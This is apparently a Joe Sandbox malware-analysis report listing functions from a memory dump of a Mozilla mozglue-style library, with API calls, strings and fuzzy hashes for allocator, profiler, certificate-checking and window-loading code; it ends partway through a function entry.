Instruction Fuzzy Hash: 43221771A093409FEB919F74C44476A7BF4FFAA30CF14492AE84A97B41EB35C445CB62

Function 6C9AB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AB845
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000), ref: 6C9AB852
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AB884
InitializeConditionVariable.KERNEL32(?), ref: 6C9AB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C9AB9FD
GetCurrentThreadId.KERNEL32 ref: 6C9ABA05
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000), ref: 6C9ABA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C9ABA27
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9ABA4B
free.MOZGLUE(?), ref: 6C9AC9C7
free.MOZGLUE(?), ref: 6C9AC9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C9AC878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C9AC7DA

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: f5b7214ab645276e4a62ec91b579ad8212c196e309d00aadb38aa1de3c94d5ae
Instruction ID: 941c25c8e9042e80faf93ac8eb2877bb6ab7594e7481a5d641d1f3cd4bd4df41
Opcode Fuzzy Hash: f5b7214ab645276e4a62ec91b579ad8212c196e309d00aadb38aa1de3c94d5ae
Instruction Fuzzy Hash: 38A2AD71A087808FD725CF68C48079BB7F5BFD9318F144A2DE89997750DB31E9498B82

Function 6C976C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C976CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C976D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C976D26

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C976D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C976D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C976D73
free.MOZGLUE(00000000), ref: 6C976D80
CertGetNameStringW.CRYPT32 ref: 6C976DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C976DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C976DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C976DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C976E10
CryptMsgClose.CRYPT32(00000000), ref: 6C976E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C976E34
CreateFileW.KERNEL32 ref: 6C976EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C976F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C976F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C97709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C977103
free.MOZGLUE(00000000), ref: 6C977153
CloseHandle.KERNEL32(?), ref: 6C977176
__Init_thread_footer.LIBCMT ref: 6C977209
__Init_thread_footer.LIBCMT ref: 6C97723A
__Init_thread_footer.LIBCMT ref: 6C97726B
__Init_thread_footer.LIBCMT ref: 6C97729C
__Init_thread_footer.LIBCMT ref: 6C9772DC
__Init_thread_footer.LIBCMT ref: 6C97730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9773C2
VerSetConditionMask.NTDLL ref: 6C9773F3
VerSetConditionMask.NTDLL ref: 6C9773FF
VerSetConditionMask.NTDLL ref: 6C977406
VerSetConditionMask.NTDLL ref: 6C97740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C97741A
moz_xmalloc.MOZGLUE(?), ref: 6C97755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C977568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C977585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C977598
free.MOZGLUE(00000000), ref: 6C9775AC

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C9772C8
(, xrefs: 6C97768A
SHA256, xrefs: 6C976EC0
wintrust.dll, xrefs: 6C9772CD

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: ea24c88d8f40be00d52862190dfc54b9a462434c8b4df7fb11725c311560ca7f
Instruction ID: c8531e7d4a1b38238bc72e299c8d1a330e14b739cc290aa3688ded5a6a392051
Opcode Fuzzy Hash: ea24c88d8f40be00d52862190dfc54b9a462434c8b4df7fb11725c311560ca7f
Instruction Fuzzy Hash: 7B52D671A053149BEB62DF24CC84BAA77BCEF69708F144199E509A7640DB70EF84CFA1

Function 6C996FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C997019
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C997061
EnterCriticalSection.KERNEL32(?), ref: 6C9971A4
LeaveCriticalSection.KERNEL32(?), ref: 6C99721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C99723E
EnterCriticalSection.KERNEL32(?), ref: 6C99726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9972B2
LeaveCriticalSection.KERNEL32(?), ref: 6C99733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9973E8
LeaveCriticalSection.KERNEL32(?), ref: 6C99961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C999622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C999642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C99964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9996CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9996DB
AcquireSRWLockExclusive.KERNEL32(6C9EE804), ref: 6C999747
GetSystemInfo.KERNEL32(?), ref: 6C999792
__Init_thread_footer.LIBCMT ref: 6C9997A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9EE810,00000040), ref: 6C9997CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7B8,00001388), ref: 6C999838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE744,00001388), ref: 6C99984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE784,00001388), ref: 6C999874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7DC,00001388), ref: 6C999895

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C999BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9999A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9999D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C999933, 6C999A33, 6C999A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C999993
<jemalloc>, xrefs: 6C999B33, 6C999BE3
Compile-time page size does not divide the runtime one., xrefs: 6C999B38
MALLOC_OPTIONS, xrefs: 6C9997CA
MOZ_CRASH(), xrefs: 6C999B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9999BD

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 0f2a88c4fbcbc365681c0b84ac4399d86df3a31de8b49aa8f0647872b79cd4a6
Instruction ID: c0e1ffa2d808ca2ed9fe2b3239c90870cbed51e3ade60e2836a50fb0a2951bfc
Opcode Fuzzy Hash: 0f2a88c4fbcbc365681c0b84ac4399d86df3a31de8b49aa8f0647872b79cd4a6
Instruction Fuzzy Hash: 3C538E71A097018FD718CF29C580615FBE5BF8A328F2DC6ADE8698B791D771E841CB81

Function 6C9A0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C9A0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C9A0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C9A0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C9A1031
LeaveCriticalSection.KERNEL32(?), ref: 6C9A10D0
EnterCriticalSection.KERNEL32(?), ref: 6C9A117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C9A1C39
EnterCriticalSection.KERNEL32(6C9EE744), ref: 6C9A3391
LeaveCriticalSection.KERNEL32(6C9EE744), ref: 6C9A33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C9A3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A3437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C9A3A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9A37A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9A37D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9A3559, 6C9A382D, 6C9A3848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C9A3793
<jemalloc>, xrefs: 6C9A3941, 6C9A39F1
Compile-time page size does not divide the runtime one., xrefs: 6C9A3946
MALLOC_OPTIONS, xrefs: 6C9A35FE
MOZ_CRASH(), xrefs: 6C9A3950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9A37BD

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 5529607a8d8549e600ff2f9e2e032367c3b9deb1326f438171aaceec01c30f69
Instruction ID: e12d35ac7dbca415c34af0225532d300500224f184059f072eae92feaba45c07
Opcode Fuzzy Hash: 5529607a8d8549e600ff2f9e2e032367c3b9deb1326f438171aaceec01c30f69
Instruction Fuzzy Hash: 62539D71A05B01CFD304CF69C540615FBE5BF8A328F29C6ADE8699BB91D771E842CB81

Function 6C9C55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C99E1A5), ref: 6C9C5606
LoadLibraryW.KERNEL32(gdi32,?,6C99E1A5), ref: 6C9C560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9C5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9C563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9C566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9C567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9C5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9C56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9C56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9C56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9C56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9C5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9C572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9C5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9C5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9C577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9C5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9C57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9C57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9C57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9C57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9C57FF

Strings

gdi32, xrefs: 6C9C560A
GetThreadDpiAwarenessContext, xrefs: 6C9C562D
ShowWindow, xrefs: 6C9C56DE
LoadCursorW, xrefs: 6C9C5774
FillRect, xrefs: 6C9C5729
GetMonitorInfoW, xrefs: 6C9C57A2
DeleteObject, xrefs: 6C9C57F9
SetWindowPos, xrefs: 6C9C56F7
SetWindowLongPtrW, xrefs: 6C9C57B7
CreateSolidBrush, xrefs: 6C9C57E4
StretchDIBits, xrefs: 6C9C57CC
GetWindowDC, xrefs: 6C9C5710
user32, xrefs: 6C9C5601
EnableNonClientDpiScaling, xrefs: 6C9C5666
LoadIconW, xrefs: 6C9C575B
ReleaseDC, xrefs: 6C9C5742
AreDpiAwarenessContextsEqual, xrefs: 6C9C5637
GetDpiForWindow, xrefs: 6C9C5690
GetSystemMetricsForDpi, xrefs: 6C9C5677
CreateWindowExW, xrefs: 6C9C56C5
RegisterClassW, xrefs: 6C9C56AC
MonitorFromWindow, xrefs: 6C9C578D

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: c478249c45f030af10dafa819abf94b017a23ed3ca62e2946fc572ccdccdfe5e
Instruction ID: 707d817e7f495cb259b708155250f66a34ec8c2642faa626c07694ccf5b52fe6
Opcode Fuzzy Hash: c478249c45f030af10dafa819abf94b017a23ed3ca62e2946fc572ccdccdfe5e
Instruction Fuzzy Hash: 99514370709702ABDF415F359D4493B3ABCAF7E249730846AA921E2A56EF70D800DF66

Function 6C9C34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3EE2

Part of subcall function 6C9C6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9C61DD
Part of subcall function 6C9C6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9C622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C4157

Part of subcall function 6C9C6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9C6250
Part of subcall function 6C9C6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9C6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C4896
free.MOZGLUE ref: 6C9C489F

Strings

, xrefs: 6C9C4CD2

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 712e78fc0cf5bccd93dcf7e65081610fa6e6aeb93cf5f0a14cbf66aa0cc4a44e
Instruction ID: 016b069f170d1614d8ec4d2ff502f8c55f6f1cac5bc5c2f067cdeb52b3adcac6
Opcode Fuzzy Hash: 712e78fc0cf5bccd93dcf7e65081610fa6e6aeb93cf5f0a14cbf66aa0cc4a44e
Instruction Fuzzy Hash: 9CF23C74A08B808FC761CF28C0846AAFBF1BF99358F118A5ED99997711DB31E495CF42

Function 6C9764C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9764DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9764F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C976505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C976518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C97652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C97671C
GetCurrentProcess.KERNEL32 ref: 6C976724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C97672F
GetCurrentProcess.KERNEL32 ref: 6C976759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C976764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C976A80
GetSystemInfo.KERNEL32(?), ref: 6C976ABE
__Init_thread_footer.LIBCMT ref: 6C976AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C976AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C976AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C976798
nvd3d9wrap.dll, xrefs: 6C976500
_etoured.dll, xrefs: 6C9764ED
nvdxgiwrap.dll, xrefs: 6C976513
user32.dll, xrefs: 6C976526
detoured.dll, xrefs: 6C9764DA

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 32585ff918b024c8ace0db0fb7522ad03384dc46ac55d275918891e78fabf0f0
Instruction ID: 1ebd9c1e596bd8157fed98672f2662e48bfa4f8c25f513cffeb9bf39d02dfa4f
Opcode Fuzzy Hash: 32585ff918b024c8ace0db0fb7522ad03384dc46ac55d275918891e78fabf0f0
Instruction Fuzzy Hash: B2F1B1709062199FDF30CF64CC48B9AB7B9AF5A318F1442D9D859A7641E731EE84CFA0

Function 6C9960A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9960C9
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C99610D
EnterCriticalSection.KERNEL32(?), ref: 6C99618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9961F9

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C996B6A
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C996BC7, 6C996F97, 6C996FB2
<jemalloc>, xrefs: 6C996AA9, 6C996B59
Compile-time page size does not divide the runtime one., xrefs: 6C996AAE
MALLOC_OPTIONS, xrefs: 6C996888
MOZ_CRASH(), xrefs: 6C996AB8

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 5f75f4d167f9bfc6bf7e63d5cd48666383c74c2262f03865b7a26fcead0bb717
Instruction ID: 2f998ff6f4689630e24fb63a5a4fa87ec09506a72b39c6ea02835af5830c453f
Opcode Fuzzy Hash: 5f75f4d167f9bfc6bf7e63d5cd48666383c74c2262f03865b7a26fcead0bb717
Instruction Fuzzy Hash: 6BA2AA71A097018FD748CF29C450615BBE5BF9A728F2DC66DE86A8BB91D731E840CBC1

Function 6C9CC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CC6FB
